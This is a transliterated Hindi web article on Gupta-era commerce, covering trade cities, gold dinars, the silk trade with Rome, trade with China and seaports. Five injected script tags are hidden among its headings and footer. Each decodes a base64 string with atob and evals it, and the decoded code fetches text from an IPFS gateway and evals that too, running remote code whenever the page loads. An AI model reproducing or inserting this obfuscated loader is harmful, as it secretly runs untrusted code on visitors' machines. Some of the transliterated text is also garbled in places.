गुप्तकालीन वाणिज्य और व्यापार
gupt kal mean vyapar evan vanijy apane utkarsh par tha. ujjain, bh dauanch, pratishshthan, vidisha, prayag, pataliputr, vaishali, tamralipi, mathura, ahichchhatr, kaushambi adi mahattvapoorn vyaparik nagar hai. in sab mean ujjain sarvadhik mahattvapoorn vyaparik sthal tha kyoanki desh ke har kone se marg ujjain ki or ate the. svarn mudaoan ki adhikata ke karan hi sanbhavatah guptakalin vyapar vikas kar saka.
svarn mudra
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
gupt rajaoan ne hi sarvadhik svarn mudraoan zari ki, inaki svarn mudraoan ko abhilekhoan mean ‘dinar‘ kaha gaya hai. inaki svarn mudraoan mean svarn ki matra kushanoan ki svarn mudraoan ki tulana mean kam thi. gupt rajaoan ne gujarat ko vijit karane ke uparant chaandi ke sikke chalae. yah vijay sambhavatah chandragupt dvitiy dvara shakoan ke viruddh darj ki gee thi. taanbe ke sikkoan ka prachalan gupt kal mean kam tha. kushan kal ke viparit gupt kal mean antarik vyapar mean hras ke lakshan dikhate haian. hras ke karanoan mean guptakalin maudrik niti ki asaphalata bhi ek mahattvapoorn karan thi kyoanki guptoan ke pas aisi koee samany mudra nahian thi jo unake jivan ka abhinn aang ban sakati thi.
fahyan ne likha hai ki gupt kal mean sadharan janata dainik jivan ke vinimay mean vastuoan ke adan pradan ya phir kau diyoan se kam chalati thi. antarik vyapar ki hi tarah guptakal mean videshi vyapar bhi patan ki or agrasar tha kyoanki tisari shatabdi ee. mean bad roman samrajy nirantar hoonoan ke akraman ko jhelate hue qaphi kamazor ho gaya tha. vah ab is sthiti mean nahian tha ki apane videshi vyapar ko pahale jaisi sthiti mean banaye rakhe, doosare rom janata ne lagabhag chhathi shatabdi ke madhy chiniyoan se resham utpadan ki takanik sikh li thi. chookian resham vyapar hi bharat aur rom ke madhy mahattvapoorn vyapar ka adhar tha, isalie bharat ka videshi vyapar adhik prabhavit hua.
videsh vyapar
rom samrajy ke patan ke bad bharatiy resham ki maang videshoan mean kam ho gee jisake parinam svaroop 5 vian shatabdi ke madhy bunakaroan ki ek shreni jo, lat pradesh mean nivas karati thi, mandasaur mean jakar bas gayi.
poorv mean bharat ka vyapar chin se ho raha tha. in donoan ke madhy madhyasth ki bhoomi sianhaladvip, shrilanka nibhata tha. chin aur bharat ke madhy hone vala vyapar sambhavatah vastu vinimay pranali par adharit tha jisaki pushti ke lie yah kahana paryapt hai ki n to chin ke sikke bharat mean mile haian, aur n hi bharat ke sikke chin mean. bharat-chin ko ratn, kesar, sugandhit padarth, sile-silayean sundar vastr adi niryat karata tha.
samudri vyapar
poorvi tat par sthit bandaragah tamralipti, ghantashala evan kadoora se shayad gupt shasak dakshin-poorv eshiya se vyapar karate the. pashchimi tat par sthit bh dauch (broch), kaimbe, sopara, kalyan adi bandaragahoan se bhoomadhy sagar evan pashchim eshiya ke sath vyapar sampann hota tha. is samay bharat mean chin se resham (chinaanshuk), ithopiya se hathi daant, arab, eeran evan baiktriya se gho doan adi ka ayat hota tha. bharatiy jalayan nirbadh roop se arab sagar, hind mahasagar udyogoan mean se tha. reshami vastr malamal, kailikoan, linan, ooni evan sooti tha. gupt kal ke antim charan mean pataliputr, mathura, kumrahar, sonapur, sohagaura evan gangaghati ke kuchh nagaroan ka hras hua.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>